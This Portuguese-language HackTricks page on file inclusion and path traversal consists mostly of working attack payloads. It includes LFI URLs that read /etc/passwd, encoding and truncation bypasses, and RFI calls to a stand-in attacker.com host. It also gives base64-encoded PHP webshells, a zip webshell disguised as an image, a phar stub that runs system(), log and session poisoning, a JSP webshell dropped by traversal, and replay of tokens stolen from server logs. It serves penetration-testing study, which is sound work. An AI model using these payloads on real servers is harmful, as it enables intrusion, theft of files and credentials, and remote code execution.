File Inclusion/Path traversal
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
File Inclusion
Remote File Inclusion (RFI): O arquivo é carregado a partir de um servidor remoto (Melhor: Você pode escrever o código e o servidor irá executá-lo). In php this is desabilitado by default (allow_url_include).
Local File Inclusion (LFI): O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode, de alguma forma, controlar o arquivo que será carregado pelo servidor.
Funções PHP vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Misturando várias listas *nix de LFI e adicionando mais caminhos, criei esta:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Tente também trocar / por \
Tente também adicionar ../../../../../
A lista que utiliza várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada here
Windows
Mescla de diferentes wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Tente também trocar / por \
Tente também remover C:/ e adicionar ../../../../../
A lista que utiliza várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada here
OS X
Confira a lista de LFI do Linux.
Basic LFI and bypasses
Todos os exemplos são para Local File Inclusion mas também podem ser aplicados a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
sequências de traversal removidas não recursivamente
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass da adição de mais chars ao final da string fornecida (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Isso está resolvido desde o PHP 5.4
Codificação
Você pode usar codificações não padrão como double URL encode (e outras):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Engines modernos de HTML-to-PDF (por exemplo TCPDF ou wrappers como html2pdf) analisam sem problemas HTML, SVG, CSS e URLs de fontes fornecidos pelo atacante, e ainda assim são executados dentro de redes backend confiáveis com acesso ao sistema de arquivos. Uma vez que você consegue injetar HTML em $pdf->writeHTML()/Html2Pdf::writeHTML(), muitas vezes é possível exfiltrar arquivos locais que a conta do servidor web pode ler.
- Fingerprint the renderer: cada PDF gerado contém um campo
Producer(por ex.TCPDF 6.8.2). Saber a build exata indica quais filtros de caminho existem e se a decodificação de URL ocorre antes da validação. - Inline SVG payloads:
TCPDF::startSVGElementHandler()lê o atributoxlink:hrefde elementos<image>antes de executarurldecode(). Incorporar um SVG malicioso dentro de um data URI faz com que muitos HTML sanitizers ignorem o payload enquanto o TCPDF ainda o analisa:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF antepõe $_SERVER['DOCUMENT_ROOT'] a caminhos que começam com / e só depois resolve .., então use segmentos iniciais ../../.. ou /../../.. para escapar da raiz após o prepend.
- Encoding to bypass naive filters: Versões ≤6.8.2 verificam apenas a substring literal
../before de decodificar a URL. Enviar..%2f(ou..%2F) no SVG ou em um atributo<img src>bruto contorna a verificação, porque a sequência de traversal dot-dot-slash é recriada apenas depois que o TCPDF chamaurldecode(). - Double-encoding for multi-stage decoding: Se a entrada do usuário for decodificada pelo framework web e pelo TCPDF, faça double-encode na barra (
%252f). Uma decodificação a transforma em%2f, a segunda decodificação no TCPDF transforma em/, gerando/..%252f..→/../../../…sem nunca mostrar../ao filtro precoce. - HTML
<img>handler:TCPDF::openHTMLTagHandler()contém o mesmo bug de ordem de operações, permitindo payloads HTML diretos tais comosrc="%2f..%252f..%252ftmp%252fsecret.png"para ler qualquer bitmap local alcançável.
Esta técnica leak qualquer coisa legível pelo PDF worker (digitalizações de passaporte, API keys renderizadas como imagens, etc.). Hardeners corrigiram isso na 6.9.1 canonicalizando paths (isRelativePath()), então durante os testes priorize versões mais antigas do Producer.
A partir da pasta existente
Talvez o back-end esteja verificando o caminho da pasta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorando Diretórios do Sistema de Arquivos em um Servidor
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso:
- Determinar a profundidade do diretório: Determine a profundidade do seu diretório atual conseguindo buscar com sucesso o arquivo
/etc/passwd(aplicável se o servidor for baseado em Linux). Um URL de exemplo pode ser estruturado da seguinte forma, indicando uma profundidade de três:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: Acrescente o nome da pasta suspeita (por exemplo,
private) à URL e, em seguida, navegue de volta para/etc/passwd. O nível adicional de diretório requer incrementar a profundidade em uma unidade:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretar os resultados: A resposta do servidor indica se a pasta existe:
- Erro / Sem saída: A pasta
privateprovavelmente não existe no local especificado. - Conteúdo de
/etc/passwd: A presença da pastaprivateestá confirmada.
- Exploração recursiva: Pastas descobertas podem ser examinadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
Para explorar diretórios em locais diferentes do sistema de arquivos, ajuste o payload conforme necessário. Por exemplo, para verificar se /var/www/ contém um diretório private (assumindo que o diretório atual está em uma profundidade de 3), use:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. Frequentemente é usado para acessar arquivos restritos ao contornar certas medidas de segurança que anexam caracteres adicionais ao final dos caminhos. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/are all treated as the same path.- Quando os últimos 6 caracteres são
passwd, adicionar uma/(transformando empasswd/) não altera o arquivo alvo. - De forma semelhante, se
.phpfor anexado a um caminho de arquivo (comoshellcode.php), adicionar/.no final não altera o arquivo acessado.
Os exemplos fornecidos demonstram como utilizar path truncation para acessar /etc/passwd, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Nesses cenários, o número de traversals necessários pode ser cerca de 2027, mas esse número pode variar conforme a configuração do servidor.
- Using Dot Segments and Additional Characters: Sequências de traversal (
../) combinadas com segmentos de ponto adicionais e caracteres podem ser usadas para navegar no sistema de arquivos, efetivamente ignorando as strings adicionadas pelo servidor. - Determining the Required Number of Traversals: Por tentativa e erro, é possível encontrar o número preciso de sequências
../necessárias para navegar até o diretório raiz e então para/etc/passwd, garantindo que quaisquer strings adicionadas (como.php) sejam neutralizadas, mas o caminho desejado (/etc/passwd) permaneça intacto. - Starting with a Fake Directory: É prática comum começar o caminho com um diretório inexistente (como
a/). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de análise de caminhos do servidor.
Ao empregar técnicas de truncamento de path, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes costumam ser necessários para encontrar o método mais eficaz.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
No php isso está desativado por padrão porque allow_url_include está Off. Ele precisa estar On para funcionar, e nesse caso você pode incluir um arquivo PHP do seu servidor e obter RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se por algum motivo allow_url_include está On, mas o PHP está filtrando o acesso a páginas externas, de acordo com este post, você pode usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e obter RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Repositório .git Exposto (Source Disclosure)
Se o servidor web expõe /.git/, um atacante pode frequentemente reconstruir o repositório completo (incluindo commit history) e auditar a aplicação offline. Isso comumente revela endpoints ocultos, secrets, SQL queries e funcionalidades apenas para admin.
Verificações rápidas:
curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config
Extrair o repositório com git-dumper:
uv tool install git-dumper
git-dumper http://TARGET/.git/ out/
Então recupere a árvore de trabalho:
cd out
git checkout .
Tip
No código anterior, o
+.txtfinal foi adicionado porque o atacante precisava de uma string que terminasse em.txt, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
Outro exemplo não usando o protocolo php:// seria:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Elemento raiz
Em python, em um código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se o usuário passar um caminho absoluto para file_name, o caminho anterior é simplesmente removido:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Este é o comportamento pretendido de acordo com the docs:
Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
Java Listar Diretórios
Parece que, se você tiver um Path Traversal em Java e você pedir um diretório em vez de um arquivo, uma listagem do diretório é retornada. Isso não acontece em outras linguagens (pelo que sei).
Top 25 parâmetros
Aqui está a lista dos top 25 parâmetros que podem ser vulneráveis a local file inclusion (LFI) (de link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando wrappers & protocolos PHP
php://filter
Os filtros PHP permitem executar operações básicas de modificação nos dados antes que estes sejam lidos ou escritos. Existem 5 categorias de filtros:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Remove tags from the data (everything between “<” and “>” chars)- Observe que este filtro desapareceu nas versões modernas do PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . Para obter a lista de todas as codificações suportadas, execute no console:iconv -l
Warning
Abusar do filtro de conversão
convert.iconv.*permite gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou forçar que uma função como include processe texto arbitrário. Para mais informações, veja LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Compress the content (useful if exfiltrating a lot of info)zlib.inflate: Decompress the data- Encryption Filters
mcrypt.*: Obsoletomdecrypt.*: Obsoleto- Outros filtros
- Executando em php
var_dump(stream_get_filters());você pode encontrar alguns filtros inesperados: consumeddechunk: reverses HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
A parte “php://filter” não diferencia maiúsculas de minúsculas
Usando php filters como oracle para ler arquivos arbitrários
In this post é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica baseia-se em uma boolean exfiltration of the file (char by char) using php filters como oracle. Isso porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.
No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
- Use o codec
UCS-4LEpara deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente. - Isso será usado para gerar um texto tão grande quando a letra inicial for adivinhada corretamente que php disparará um erro.
- O filtro dechunk irá remover tudo se o primeiro caractere não for um hexadecimal, assim podemos saber se o primeiro caractere é hex.
- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), permitirá adivinhar uma letra no início do texto observando quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial causará erro no php.
- O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um
a, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal, portanto dechunk não a deleta e o erro do php é acionado porque ele se multiplica com a bomba inicial. - Usando outras transformações como rot13 no início é possível leak outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
- Quando o caractere inicial é um número é necessário encodá-lo em base64 e leak as 2 primeiras letras para leak o número.
- O problema final é ver como leak mais do que a letra inicial. Usando filtros de ordem de memória como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível mudar a ordem dos caracteres e trazer para a primeira posição outras letras do texto.
- E para conseguir dados adicionais a ideia é gerar 2 bytes de junk data no início com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazê-los pivotar com os próximos 2 bytes, e deletar os dados até os junk data (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak.
No post, também foi divulgada uma ferramenta para executar isso automaticamente: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Você também pode usar php://stdin, php://stdout and php://stderr para acessar os descritores de arquivo 0, 1 e 2 respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
zip:// and rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar, ele precisa ser especificamente ativado.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Observe que este protocolo é restrito pelas configurações do php allow_url_open e allow_url_include
expect://
O Expect precisa estar ativado. Você pode executar código usando isto:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique seu payload nos parâmetros POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Um arquivo .phar pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como include para carregar arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Para compilar o arquivo .phar, o seguinte comando deve ser executado:
php --define phar.readonly=0 create_path.php
Ao ser executado, um arquivo chamado test.phar será criado, o que pode potencialmente ser aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI).
Em casos onde o LFI apenas realiza leitura de arquivos sem executar o código PHP interno, por meio de funções como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() ou filesize(), pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar.
Para uma compreensão detalhada sobre exploração de vulnerabilidades de desserialização no contexto de arquivos .phar, consulte o documento linkado abaixo:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Foi possível abusar de any arbitrary file read from PHP that supports php filters para obter RCE. A descrição detalhada pode ser found in this post.
Resumo muito rápido: um 3 byte overflow no heap do PHP foi abusado para alterar the chain of free chunks de um tamanho específico a fim de poder write anything in any address, então foi adicionado um hook para chamar system.
Foi possível alocar chunks de tamanhos específicos abusando de mais php filters.
More protocols
Consulte mais possíveis protocols to include here:
- php://memory and php://temp — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um file inclusion attack)
- file:// — Acesso ao sistema de arquivos local
- http:// — Acesso a URLs HTTP(s)
- ftp:// — Acesso a URLs FTP(s)
- zlib:// — Fluxos de compressão
- glob:// — Encontra nomes de caminho que correspondem a um padrão (Não retorna nada imprimível, então não é realmente útil aqui)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Não útil para ler arquivos arbitrários)
LFI via PHP’s ‘assert’
Os riscos de Local File Inclusion (LFI) em PHP são particularmente altos ao lidar com a função ‘assert’, que pode executar código contido em strings. Isso é especialmente problemático se entradas contendo caracteres de directory traversal como “..” forem verificadas mas não devidamente sanitizadas.
Por exemplo, um código PHP pode ser projetado para prevenir directory traversal da seguinte forma:
assert("strpos('$file', '..') === false") or die("");
Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso para ler o conteúdo de arquivos, um atacante poderia usar:
' and die(highlight_file('/etc/passwd')) or '
Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:
' and die(system("id")) or '
It’s importante to URL-encode these payloads.
PHP Blind Path Traversal
Warning
Esta técnica é relevante em casos onde você controla o file path de uma PHP function que irá access a file mas você não verá o conteúdo do arquivo (como uma chamada simples a
file()) e o conteúdo não é exibido.
Em this incredible post é explicado como um blind path traversal pode ser abusado via PHP filter para exfiltrate the content of a file via an error oracle.
Em resumo, a técnica usa a “UCS-4LE” encoding para fazer o conteúdo de um arquivo ficar tão grande que a PHP function opening o arquivo disparará um error.
Então, para leak o primeiro char o filter dechunk é usado junto com outros como base64 ou rot13 e finalmente os filters convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para place other chars at the beggining and leak them.
Funções que podem ser vulneráveis: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Para os detalhes técnicos, confira o post mencionado!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Quando código server-side que ingere/arquiva arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalising e validar, segmentos .. e absolute paths podem escapar do diretório pretendido e causar um arbitrary file write. Se você conseguir colocar o payload sob um diretório web-exposed, normalmente obtém RCE não autenticado ao droppar um webshell.
Typical exploitation workflow:
- Identificar um write primitive em um endpoint ou background worker que aceita um path/filename e escreve conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determinar web-exposed directories. Exemplos comuns:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Criar um traversal path que quebre para fora do storage directory pretendido até o webroot, e incluir o conteúdo do seu webshell.
- Navegar até o payload dropado e executar comandos.
Notas:
- O serviço vulnerável que realiza o write pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá posteriormente seu payload.
- Em stacks Java, esses file writes frequentemente são implementados com simples concatenações
File/Paths. Falta de canonicalisation/allow-listing é a falha central.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Medidas de hardening que derrotam essa classe de bugs:
- Resolva para um caminho canônico e garanta que seja descendente de um diretório base allow-listed.
- Rejeite qualquer caminho contendo
.., raízes absolutas ou letras de drive; prefira nomes de arquivo gerados. - Execute o writer como uma conta de baixo privilégio e segregue diretórios de escrita das raízes servidas.
Remote File Inclusion
Explained previously, follow this link.
Via arquivo de log Apache/Nginx
Se o servidor Apache ou Nginx estiver vulnerable to LFI dentro da função include você pode tentar acessar /var/log/apache2/access.log or /var/log/nginx/access.log, colocar no user agent ou em um GET parameter um php shell como <?php system($_GET['c']); ?> e incluir esse arquivo
Warning
Observe que se você usar aspas duplas para o shell em vez de aspas simples, as aspas duplas serão modificadas para a string “quote;”, PHP lançará um erro ali e nada mais será executado.
Além disso, certifique-se de escrever corretamente o payload ou o PHP vai gerar um erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
Isso também pode ser feito em outros logs, mas cuidado, o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header authorisation “basic” contém “user:password” em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro deste header.
Outros possíveis caminhos de log:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Ler logs de acesso para colher GET-based auth tokens (token replay)
Muitas aplicações aceitam por engano session/auth tokens via GET (por exemplo, AuthenticationToken, token, sid). Se você tiver uma primitive de path traversal/LFI que permita acessar os logs do servidor web, pode roubar esses tokens dos logs de acesso e reexecutá-los para contornar completamente a autenticação.
How-to:
- Use the traversal/LFI to read the web server access log. Common locations:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
- Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Decodifique o body se estiver em Base64, depois reenvie um token capturado:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notas:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- Se o app suporta múltiplos nomes de token, procure por chaves comuns como AuthenticationToken, token, sid, access_token.
- Rotacione quaisquer tokens que possam ter leaked nos logs.
Via Email
Enviar um email para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?> e tente incluir o mail do usuário com um caminho como /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Faça upload de muitas shells (por exemplo : 100)
- Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser brute forced) e $FD o file descriptor (também pode ser brute forced)
Via /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se você puder fazer upload de um arquivo, basta injetar o shell payload nele (e.g : <?php system($_GET['c']); ?> ).
http://example.com/index.php?page=path/to/uploaded/file.png
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
Via upload de arquivo ZIP
Faça upload de um arquivo ZIP contendo um PHP shell comprimido e acesse:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via PHP sessions
Verifique se o site usa PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
No PHP, essas sessões são armazenadas em /var/lib/php5/sess\[PHPSESSID]_ arquivos.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Defina o cookie para <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use o LFI para incluir o PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa
Via vsftpd logs
Os logs do servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que exista uma vulnerabilidade de Local File Inclusion (LFI), e seja possível acesso a um servidor vsftpd exposto, os seguintes passos podem ser considerados:
- Injete um PHP payload no campo username durante o processo de login.
- Após a injeção, utilize a LFI para recuperar os logs do servidor em /var/log/vsftpd.log.
Via php base64 filter (using base64)
As shown in this article, PHP base64 filter just ignore Non-base64. You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. Here is an example payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (sem arquivo necessário)
Este writeup explica que você pode usar php filters to generate arbitrary content como saída. O que basicamente significa que você pode generate arbitrary php code para o include without needing to write em um arquivo.
Via segmentation fault
Faça um Upload de um arquivo que será armazenado como temporary em /tmp, então, na same request, desencadeie um segmentation fault, e então o temporary file won’t be deleted e você pode procurá-lo.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Se você encontrar uma Local File Inclusion e o Nginx estiver rodando na frente do PHP, você pode conseguir RCE com a seguinte técnica:
Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrar uma Local File Inclusion mesmo que você don’t have a session e session.auto_start esteja Off. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS em dados multipart POST, o PHP vai enable the session for you. Você poderia abusar disso para obter RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Se você encontrar uma Local File Inclusion e o servidor estiver rodando em Windows você pode conseguir RCE:
